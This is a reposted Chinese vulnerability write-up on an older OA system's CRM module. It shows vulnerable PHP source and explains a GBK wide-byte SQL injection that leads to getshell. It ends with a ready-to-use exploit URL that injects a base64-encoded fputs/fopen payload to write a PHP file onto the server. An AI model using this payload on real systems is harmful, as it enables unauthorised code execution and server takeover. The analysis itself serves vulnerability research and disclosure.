某OA 后台 Getshell 发现及分析

漏洞发现

某OA 老版本中很多 SQL 语句都是直接采用拼接变量的形式,再加上此程序通篇的 gbk 编码,因此存在多处宽字节注入。在前辈的此篇文章中就提到了利用宽字节注入配合文件包含来 getshell,遂打算从注入点入手,来看看有没有漏网之鱼。

漏洞分析

漏洞点一

  • getModuleQuickLinkStr( ) 函数中将 $entity_name 直接拼接在字符串中并返回
// webrootgeneralcrmappscrmincludeinterfacelist.interface.php
function getModuleQuickLinkStr( $entity )
{
  global $connection;
  global $LOGIN_USER_ID;
  global $g_STUDIO_PATH;
  global $LOGIN_DEPT_ID_JUNIOR;
  global $LOGIN_DEPT_ID;
  global $LOGIN_USER_PRIV;
  global $LOGIN_USER_PRIV_OTHER;
  global $LOGIN_DEPT_ID_OTHER;
  if ( $LOGIN_USER_PRIV_OTHER != $LOGIN_USER_PRIV )
  {
      $TEMP_LOGIN_USER_PRIV = explode( ",", $LOGIN_USER_PRIV_OTHER );
  }
  else
  {
      $TEMP_LOGIN_USER_PRIV = $LOGIN_USER_PRIV;
  }
  include_once( $g_STUDIO_PATH."/include/entityAction.php" );
  include_once( $g_STUDIO_PATH."/include/classes/quickLink.class.php" );
  if ( empty( $entity ) )
  {
      return FALSE;
  }
  $o = new QuickLink( $connection, $entity );
  $o->LoadQuickLink( );
  $entitys = $o->get_selectedEntitys( );
  if ( empty( $entitys ) )
  {
  }
  else
  {
      $str = "<select onfocus='QuickCreat.selectMonitor(this);' onchange='QuickCreat.selectMonitor(this);'><option value=''>"._( "快捷方式.." )."</option>";
      foreach ( $entitys as $entity_name => $entity_label )
      {
          if ( 0 < getviewprivofmodule( $entity_name, $TEMP_LOGIN_USER_PRIV ) )
          {
              $str .= "<option value='".$entity_name."' title='{$entity_label}'>".( 18 < strlen( $entity_label ) ? substr( $entity_label, 0, 16 ).".." : $entity_label )."</option>";
          }
      }
      $str .= "</select>";
      return $str;
  }
}

漏洞点二

  • 全局搜索发现 webrootgeneralcrmstudiomodulesrecycleshow.php 文件中调用了 getModuleQuickLinkStr( ) 函数
20210920172903-319b61ca-19f5-1
20210920172916-398289ae-19f5-1
  • 查看 $ENTITY 是否可控
20210920172927-3fdfcc8a-19f5-1
  • 尝试利用
20210920172939-47897e90-19f5-1

宽字节注入

20210920172951-4e300232-19f5-1

Getshell

注意:base64 编码之后的 payload 中不能包含 ‘ = ‘ ,否则无法写入 shell

/general/crm/studio/modules/recycle/show.php?entity_name=1%d5' ${ fputs(fopen(base64_decode(YXY4ZC5waHA),w),base64_decode(PD9waHAKCWVjaG8gZGF0ZSgnWS1tLWQgaDppOnMnLCB0aW1lKCkpOw))} #
20210920173011-5a4ab2e2-19f5-1
20210920173026-632343f2-19f5-1
20210920173043-6d2ab196-19f5-1

转载自

https://xz.aliyun.com/t/10286

主题测试文章,只做测试使用。发布者:视频运营,转转请注明出处:https://community.anqiangkj.com/archives/9990

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022年3月18日 上午10:51
下一篇 2022年3月18日 上午11:10

相关推荐

发表回复

您的电子邮箱地址不会被公开。